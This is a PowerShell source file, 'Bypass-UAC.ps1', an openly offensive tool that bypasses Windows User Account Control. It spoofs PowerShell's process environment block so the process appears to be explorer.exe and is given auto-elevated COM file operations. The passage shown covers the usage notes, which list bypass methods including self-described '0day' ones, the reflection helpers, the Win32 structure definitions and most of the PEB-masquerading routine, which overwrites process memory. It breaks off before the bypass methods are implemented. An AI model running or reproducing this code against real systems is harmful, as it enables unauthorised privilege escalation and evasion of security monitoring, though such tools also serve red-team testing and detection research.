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Bypass-UAC.ps1
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Bypass-UAC.ps1
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function Bypass-UAC {
<#
.SYNOPSIS
Bypass-UAC provides a framework to perform UAC bypasses based on auto
elevating IFileOperation COM object method calls. This is not a new
technique, traditionally, this is accomplished by injecting a DLL into
"explorer.exe". This is not desirable because injecting into
explorer may trigger security alerts and working with unmanaged DLL's
makes for an inflexible work-flow.
To get around this, Bypass-UAC implements a function which rewrites
PowerShell's PEB to give it the appearance of "explorer.exe". This
provides the same effect because COM objects exclusively rely on Windows's
Process Status API (PSAPI) which reads the process PEB.
#-------------------#
# Supported Methods #
#-------------------#
+ UacMethodSysprep: x32/x64 Win7-Win8
+ ucmDismMethod: x64 Win7+ (unpatched, tested up to 10RS2 14926)
+ UacMethodMMC2: x64 Win7+ (unpatched, tested up to 10RS2 14926)
+ UacMethodTcmsetup: x32/x64 Win7-10 (UAC "0day" ¯\_(ツ)_/¯)
+ UacMethodNetOle32: x32/x64 Win7-10 (UAC "0day" ¯\_(ツ)_/¯)
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER Method
Switch array of supported methods.
.PARAMETER CustomDll
Absolute path to custom proxy DLL. If not provided, the embedded Yamabiko
DLL is used.
.EXAMPLE
C:\PS> Bypass-UAC -Method UacMethodSysprep
.EXAMPLE
C:\PS> Bypass-UAC -Method ucmDismMethod -CustomDll C:\Users\b33f\Desktop\cmd.dll
#>
param(
[Parameter(Mandatory = $True)]
[ValidateSet('UacMethodSysprep','ucmDismMethod','UacMethodMMC2','UacMethodTcmsetup','UacMethodNetOle32')]
[String]$Method,
[Parameter(Mandatory = $False)]
[String]$CustomDll = $null
)
#---------------
# PSReflect => reflect all the things!
# https://github.com/mattifestation/PSReflect/blob/master/PSReflect.psm1
#---------------
function New-InMemoryModule
{
<#
.SYNOPSIS
Creates an in-memory assembly and module
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
When defining custom enums, structs, and unmanaged functions, it is
necessary to associate to an assembly module. This helper function
creates an in-memory module that can be passed to the 'enum',
'struct', and Add-Win32Type functions.
.PARAMETER ModuleName
Specifies the desired name for the in-memory assembly and module. If
ModuleName is not provided, it will default to a GUID.
.EXAMPLE
$Module = New-InMemoryModule -ModuleName Win32
#>
Param
(
[Parameter(Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
$ModuleName = [Guid]::NewGuid().ToString()
)
$AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
$LoadedAssemblies = $AppDomain.GetAssemblies()
foreach ($Assembly in $LoadedAssemblies) {
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
return $Assembly
}
}
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
$Domain = $AppDomain
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
return $ModuleBuilder
}
# A helper function used to reduce typing while defining function
# prototypes for Add-Win32Type.
function func
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$DllName,
[Parameter(Position = 1, Mandatory = $True)]
[string]
$FunctionName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$ReturnType,
[Parameter(Position = 3)]
[Type[]]
$ParameterTypes,
[Parameter(Position = 4)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention,
[Parameter(Position = 5)]
[Runtime.InteropServices.CharSet]
$Charset,
[String]
$EntryPoint,
[Switch]
$SetLastError
)
$Properties = @{
DllName = $DllName
FunctionName = $FunctionName
ReturnType = $ReturnType
}
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
if ($Charset) { $Properties['Charset'] = $Charset }
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
New-Object PSObject -Property $Properties
}
function Add-Win32Type
{
<#
.SYNOPSIS
Creates a .NET type for an unmanaged Win32 function.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: func
.DESCRIPTION
Add-Win32Type enables you to easily interact with unmanaged (i.e.
Win32 unmanaged) functions in PowerShell. After providing
Add-Win32Type with a function signature, a .NET type is created
using reflection (i.e. csc.exe is never called like with Add-Type).
The 'func' helper function can be used to reduce typing when defining
multiple function definitions.
.PARAMETER DllName
The name of the DLL.
.PARAMETER FunctionName
The name of the target function.
.PARAMETER EntryPoint
The DLL export function name. This argument should be specified if the
specified function name is different than the name of the exported
function.
.PARAMETER ReturnType
The return type of the function.
.PARAMETER ParameterTypes
The function parameters.
.PARAMETER NativeCallingConvention
Specifies the native calling convention of the function. Defaults to
stdcall.
.PARAMETER Charset
If you need to explicitly call an 'A' or 'W' Win32 function, you can
specify the character set.
.PARAMETER SetLastError
Indicates whether the callee calls the SetLastError Win32 API
function before returning from the attributed method.
.PARAMETER Module
The in-memory module that will host the functions. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER Namespace
An optional namespace to prepend to the type. Add-Win32Type defaults
to a namespace consisting only of the name of the DLL.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$FunctionDefinitions = @(
(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
(func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
(func ntdll RtlGetCurrentPeb ([IntPtr]) @())
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Kernel32 = $Types['kernel32']
$Ntdll = $Types['ntdll']
$Ntdll::RtlGetCurrentPeb()
$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
.NOTES
Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
When defining multiple function prototypes, it is ideal to provide
Add-Win32Type with an array of function signatures. That way, they
are all incorporated into the same in-memory module.
#>
[OutputType([Hashtable])]
Param(
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
$DllName,
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
$FunctionName,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[String]
$EntryPoint,
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Type]
$ReturnType,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Type[]]
$ParameterTypes,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CharSet]
$Charset = [Runtime.InteropServices.CharSet]::Auto,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Switch]
$SetLastError,
[Parameter(Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[ValidateNotNull()]
[String]
$Namespace = ''
)
BEGIN
{
$TypeHash = @{}
}
PROCESS
{
if ($Module -is [Reflection.Assembly])
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
}
else
{
$TypeHash[$DllName] = $Module.GetType($DllName)
}
}
else
{
# Define one type for each DLL
if (!$TypeHash.ContainsKey($DllName))
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
}
else
{
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
}
}
$Method = $TypeHash[$DllName].DefineMethod(
$FunctionName,
'Public,Static,PinvokeImpl',
$ReturnType,
$ParameterTypes)
# Make each ByRef parameter an Out parameter
$i = 1
foreach($Parameter in $ParameterTypes)
{
if ($Parameter.IsByRef)
{
[void] $Method.DefineParameter($i, 'Out', $null)
}
$i++
}
$DllImport = [Runtime.InteropServices.DllImportAttribute]
$SetLastErrorField = $DllImport.GetField('SetLastError')
$CallingConventionField = $DllImport.GetField('CallingConvention')
$CharsetField = $DllImport.GetField('CharSet')
$EntryPointField = $DllImport.GetField('EntryPoint')
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
# Equivalent to C# version of [DllImport(DllName)]
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
[Reflection.FieldInfo[]] @($SetLastErrorField,
$CallingConventionField,
$CharsetField,
$EntryPointField),
[Object[]] @($SLEValue,
([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
([Runtime.InteropServices.CharSet] $Charset),
$ExportedFuncName))
$Method.SetCustomAttribute($DllImportAttribute)
}
}
END
{
if ($Module -is [Reflection.Assembly])
{
return $TypeHash
}
$ReturnTypes = @{}
foreach ($Key in $TypeHash.Keys)
{
$Type = $TypeHash[$Key].CreateType()
$ReturnTypes[$Key] = $Type
}
return $ReturnTypes
}
}
function psenum
{
<#
.SYNOPSIS
Creates an in-memory enumeration for use in your PowerShell session.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
The 'psenum' function facilitates the creation of enums entirely in
memory using as close to a "C style" as PowerShell will allow.
.PARAMETER Module
The in-memory module that will host the enum. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER FullName
The fully-qualified name of the enum.
.PARAMETER Type
The type of each enum element.
.PARAMETER EnumElements
A hashtable of enum elements.
.PARAMETER Bitfield
Specifies that the enum should be treated as a bitfield.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
UNKNOWN = 0
NATIVE = 1 # Image doesn't require a subsystem.
WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
POSIX_CUI = 7 # Image runs in the Posix character subsystem.
NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
EFI_APPLICATION = 10
EFI_BOOT_SERVICE_DRIVER = 11
EFI_RUNTIME_DRIVER = 12
EFI_ROM = 13
XBOX = 14
WINDOWS_BOOT_APPLICATION = 16
}
.NOTES
PowerShell purists may disagree with the naming of this function but
again, this was developed in such a way so as to emulate a "C style"
definition as closely as possible. Sorry, I'm not going to name it
New-Enum. :P
#>
[OutputType([Type])]
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 1, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$Type,
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$EnumElements,
[Switch]
$Bitfield
)
if ($Module -is [Reflection.Assembly])
{
return ($Module.GetType($FullName))
}
$EnumType = $Type -as [Type]
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
if ($Bitfield)
{
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
}
foreach ($Key in $EnumElements.Keys)
{
# Apply the specified enum type to each element
$null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
}
$EnumBuilder.CreateType()
}
# A helper function used to reduce typing while defining struct
# fields.
function field
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[UInt16]
$Position,
[Parameter(Position = 1, Mandatory = $True)]
[Type]
$Type,
[Parameter(Position = 2)]
[UInt16]
$Offset,
[Object[]]
$MarshalAs
)
@{
Position = $Position
Type = $Type -as [Type]
Offset = $Offset
MarshalAs = $MarshalAs
}
}
function struct
{
<#
.SYNOPSIS
Creates an in-memory struct for use in your PowerShell session.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: field
.DESCRIPTION
The 'struct' function facilitates the creation of structs entirely in
memory using as close to a "C style" as PowerShell will allow. Struct
fields are specified using a hashtable where each field of the struct
is comprosed of the order in which it should be defined, its .NET
type, and optionally, its offset and special marshaling attributes.
One of the features of 'struct' is that after your struct is defined,
it will come with a built-in GetSize method as well as an explicit
converter so that you can easily cast an IntPtr to the struct without
relying upon calling SizeOf and/or PtrToStructure in the Marshal
class.
.PARAMETER Module
The in-memory module that will host the struct. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER FullName
The fully-qualified name of the struct.
.PARAMETER StructFields
A hashtable of fields. Use the 'field' helper function to ease
defining each field.
.PARAMETER PackingSize
Specifies the memory alignment of fields.
.PARAMETER ExplicitLayout
Indicates that an explicit offset for each field will be specified.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
DOS_SIGNATURE = 0x5A4D
OS2_SIGNATURE = 0x454E
OS2_SIGNATURE_LE = 0x454C
VXD_SIGNATURE = 0x454C
}
$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
e_magic = field 0 $ImageDosSignature
e_cblp = field 1 UInt16
e_cp = field 2 UInt16
e_crlc = field 3 UInt16
e_cparhdr = field 4 UInt16
e_minalloc = field 5 UInt16
e_maxalloc = field 6 UInt16
e_ss = field 7 UInt16
e_sp = field 8 UInt16
e_csum = field 9 UInt16
e_ip = field 10 UInt16
e_cs = field 11 UInt16
e_lfarlc = field 12 UInt16
e_ovno = field 13 UInt16
e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
e_oemid = field 15 UInt16
e_oeminfo = field 16 UInt16
e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
e_lfanew = field 18 Int32
}
# Example of using an explicit layout in order to create a union.
$TestUnion = struct $Mod TestUnion @{
field1 = field 0 UInt32 0
field2 = field 1 IntPtr 0
} -ExplicitLayout
.NOTES
PowerShell purists may disagree with the naming of this function but
again, this was developed in such a way so as to emulate a "C style"
definition as closely as possible. Sorry, I'm not going to name it
New-Struct. :P
#>
[OutputType([Type])]
Param
(
[Parameter(Position = 1, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 2, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$StructFields,
[Reflection.Emit.PackingSize]
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
[Switch]
$ExplicitLayout
)
if ($Module -is [Reflection.Assembly])
{
return ($Module.GetType($FullName))
}
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
Class,
Public,
Sealed,
BeforeFieldInit'
if ($ExplicitLayout)
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
}
else
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
}
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$Fields = New-Object Hashtable[]($StructFields.Count)
# Sort each field according to the orders specified
# Unfortunately, PSv2 doesn't have the luxury of the
# hashtable [Ordered] accelerator.
foreach ($Field in $StructFields.Keys)
{
$Index = $StructFields[$Field]['Position']
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
}
foreach ($Field in $Fields)
{
$FieldName = $Field['FieldName']
$FieldProp = $Field['Properties']
$Offset = $FieldProp['Offset']
$Type = $FieldProp['Type']
$MarshalAs = $FieldProp['MarshalAs']
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
if ($MarshalAs)
{
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
if ($MarshalAs[1])
{
$Size = $MarshalAs[1]
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
$UnmanagedType, $SizeConst, @($Size))
}
else
{
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
}
$NewField.SetCustomAttribute($AttribBuilder)
}
if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
}
# Make the struct aware of its own size.
# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
$SizeMethod = $StructBuilder.DefineMethod('GetSize',
'Public, Static',
[Int],
[Type[]] @())
$ILGenerator = $SizeMethod.GetILGenerator()
# Thanks for the help, Jason Shirk!
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
# Allow for explicit casting from an IntPtr
# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
'PrivateScope, Public, Static, HideBySig, SpecialName',
$StructBuilder,
[Type[]] @([IntPtr]))
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
$StructBuilder.CreateType()
}
#---------------
# Win32 Definitions
#---------------
$Module = New-InMemoryModule -ModuleName UACalamity
$UNICODE_STRING = struct $Module UNICODE_STRING @{
Length = field 0 UInt16
MaximumLength = field 1 UInt16
Buffer = field 2 IntPtr
}
$LIST_ENTRY = struct $Module _LIST_ENTRY @{
Flink = field 0 IntPtr
Blink = field 1 IntPtr
}
$PROCESS_BASIC_INFORMATION = struct $Module _PROCESS_BASIC_INFORMATION @{
ExitStatus = field 0 IntPtr
PebBaseAddress = field 1 IntPtr
AffinityMask = field 2 IntPtr
BasePriority = field 3 IntPtr
UniqueProcessId = field 4 UIntPtr
InheritedFromUniqueProcessId = field 5 IntPtr
}
# Partial PEB
$PEB = struct $Module _PEB @{
Ldr32 = field 0 IntPtr -Offset 12
ProcessParameters32 = field 1 IntPtr -Offset 16
Ldr64 = field 2 IntPtr -Offset 24
FastPebLock32 = field 3 IntPtr -Offset 28
ProcessParameters64 = field 4 IntPtr -Offset 32
FastPebLock64 = field 5 IntPtr -Offset 56
} -ExplicitLayout
# Partial _PEB_LDR_DATA
$PEB_LDR_DATA = struct $Module _PEB_LDR_DATA @{
Length = field 0 UInt32
Initialized = field 1 Byte
SsHandle = field 2 IntPtr
InLoadOrderModuleList = field 3 $LIST_ENTRY
InMemoryOrderModuleList = field 4 $LIST_ENTRY
InInitializationOrderModuleList = field 5 $LIST_ENTRY
EntryInProgress = field 6 IntPtr
}
# Partial _LDR_DATA_TABLE_ENTRY
$LDR_DATA_TABLE_ENTRY = struct $Module _LDR_DATA_TABLE_ENTRY @{
InLoadOrderLinks = field 0 $LIST_ENTRY
InMemoryOrderLinks = field 1 $LIST_ENTRY
InInitializationOrderLinks = field 2 $LIST_ENTRY
DllBase = field 3 IntPtr
EntryPoint = field 4 IntPtr
SizeOfImage = field 5 UInt32
FullDllName = field 6 $UNICODE_STRING
BaseDllName = field 7 $UNICODE_STRING
}
$FunctionDefinitions = @(
(func kernel32 VirtualProtectEx ([Byte]) @(
[IntPtr], # hProcess
[IntPtr], # lpAddress
[UInt32], # dwSize
[UInt32], # flNewProtect
[UInt32].MakeByRefType() # lpflOldProtect
)),
(func kernel32 WriteProcessMemory ([Byte]) @(
[IntPtr], # hProcess
[IntPtr], # lpBaseAddress
[IntPtr], # lpBuffer
[UInt32], # nSize
[UInt32].MakeByRefType() # lpNumberOfBytesWritten
)),
(func ntdll NtQueryInformationProcess ([Int]) @(
[IntPtr], # hProcess
[Int], # lpBaseAddress
$PROCESS_BASIC_INFORMATION.MakeByRefType(), # lpBuffer
[Int], # nSize
[Int].MakeByRefType() # lpNumberOfBytesWritten
)),
(func ntdll RtlEnterCriticalSection ([Void]) @(
[IntPtr] # lpCriticalSection
)),
(func ntdll RtlLeaveCriticalSection ([Void]) @(
[IntPtr] # lpCriticalSection
))
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'Win32'
$Kernel32 = $Types['kernel32']
$NtDll = $Types['ntdll']
#---------------
# Masquerade-PEB
#---------------
function Masquerade-PEB {
<#
.SYNOPSIS
Masquerade-PEB uses NtQueryInformationProcess to get a handle to powershell's
PEB. From there it replaces a number of UNICODE_STRING structs in memory to
give powershell the appearance of a different process. Specifically, the
function will overwrite powershell's "ImagePathName" & "CommandLine" in
_RTL_USER_PROCESS_PARAMETERS and the "FullDllName" & "BaseDllName" in the
_LDR_DATA_TABLE_ENTRY linked list.
This can be useful as it would fool any Windows work-flows which rely solely
on the Process Status API to check process identity. A practical example would
be the IFileOperation COM Object which can perform an elevated file copy if it
thinks powershell is really explorer.exe ;)!
Notes:
* Works on x32/64.
* Most of these API's and structs are undocumented. I strongly recommend
@rwfpl's terminus project as a reference guide!
+ http://terminus.rewolf.pl/terminus/
* Masquerade-PEB is basically a reimplementation of two functions in UACME
by @hFireF0X. My code is quite different because, unfortunately, I don't
have access to all those c++ goodies and I could not get a callback for
LdrEnumerateLoadedModules working!
+ supMasqueradeProcess: https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/sup.c#L504
+ supxLdrEnumModulesCallback: https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/sup.c#L477
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
C:\PS> Masquerade-PEB -BinPath "C:\Windows\explorer.exe"
#>
param (
[Parameter(Mandatory = $True)]
[string]$BinPath
)
if ([System.IntPtr]::Size -eq 4) {
$x32Architecture = 1
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Helper function to overwrite UNICODE_STRING structs in memory
function Emit-UNICODE_STRING {
param(
[IntPtr]$hProcess,
[IntPtr]$lpBaseAddress,
[UInt32]$dwSize,
[String]$data
)
# Set access protections -> PAGE_EXECUTE_READWRITE
[UInt32]$lpflOldProtect = 0
$CallResult = $Kernel32::VirtualProtectEx($hProcess, $lpBaseAddress, $dwSize, 0x40, [ref]$lpflOldProtect)
# Create replacement struct
$UnicodeObject = [Activator]::CreateInstance($UNICODE_STRING)
$UnicodeObject_Buffer = $data
[UInt16]$UnicodeObject.Length = $UnicodeObject_Buffer.Length*2
[UInt16]$UnicodeObject.MaximumLength = $UnicodeObject.Length+1
[IntPtr]$UnicodeObject.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($UnicodeObject_Buffer)
[IntPtr]$InMemoryStruct = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($dwSize)
[system.runtime.interopservices.marshal]::StructureToPtr($UnicodeObject, $InMemoryStruct, $true)
# Overwrite PEB UNICODE_STRING struct
[UInt32]$lpNumberOfBytesWritten = 0
$CallResult = $Kernel32::WriteProcessMemory($hProcess, $lpBaseAddress, $InMemoryStruct, $dwSize, [ref]$lpNumberOfBytesWritten)
# Free $InMemoryStruct
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($InMemoryStruct)
}
# Process Basic Information
$_PROCESS_BASIC_INFORMATION = [Activator]::CreateInstance($PROCESS_BASIC_INFORMATION)
$ReturnLength = New-Object Int
$CallResult = $NtDll::NtQueryInformationProcess($ProcHandle, 0, [ref]$_PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION::GetSize(), [ref]$ReturnLength)
# PID & PEB address
#echo "[?] PID $($_PROCESS_BASIC_INFORMATION.UniqueProcessId)"
if ($x32Architecture) {
echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $_PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
} else {
echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $_PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
}
# Lazy PEB parsing
$_PEB = [Activator]::CreateInstance($PEB)
$_PEB = $_PEB.GetType()
$BufferOffset = $_PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# Take ownership of PEB
# Not sure this is strictly necessary but why not!
if ($x32Architecture) {
$NtDll::RtlEnterCriticalSection($PEBFlags.FastPebLock32)
} else {
$NtDll::RtlEnterCriticalSection($PEBFlags.FastPebLock64)
} echo "[!] RtlEnterCriticalSection --> &Peb->FastPebLock"
# &Peb->ProcessParameters->ImagePathName/CommandLine
if ($x32Architecture) {
# Offset to &Peb->ProcessParameters
$PROCESS_PARAMETERS = $PEBFlags.ProcessParameters32.ToInt64()
# x86 UNICODE_STRING struct's --> Size 8-bytes = (UInt16*2)+IntPtr
[UInt32]$StructSize = 8
$ImagePathName = $PROCESS_PARAMETERS + 0x38
$CommandLine = $PROCESS_PARAMETERS + 0x40
} else {
# Offset to &Peb->ProcessParameters
$PROCESS_PARAMETERS = $PEBFlags.ProcessParameters64.ToInt64()
# x64 UNICODE_STRING struct's --> Size 16-bytes = (UInt16*2)+IntPtr
[UInt32]$StructSize = 16
$ImagePathName = $PROCESS_PARAMETERS + 0x60
$CommandLine = $PROCESS_PARAMETERS + 0x70
}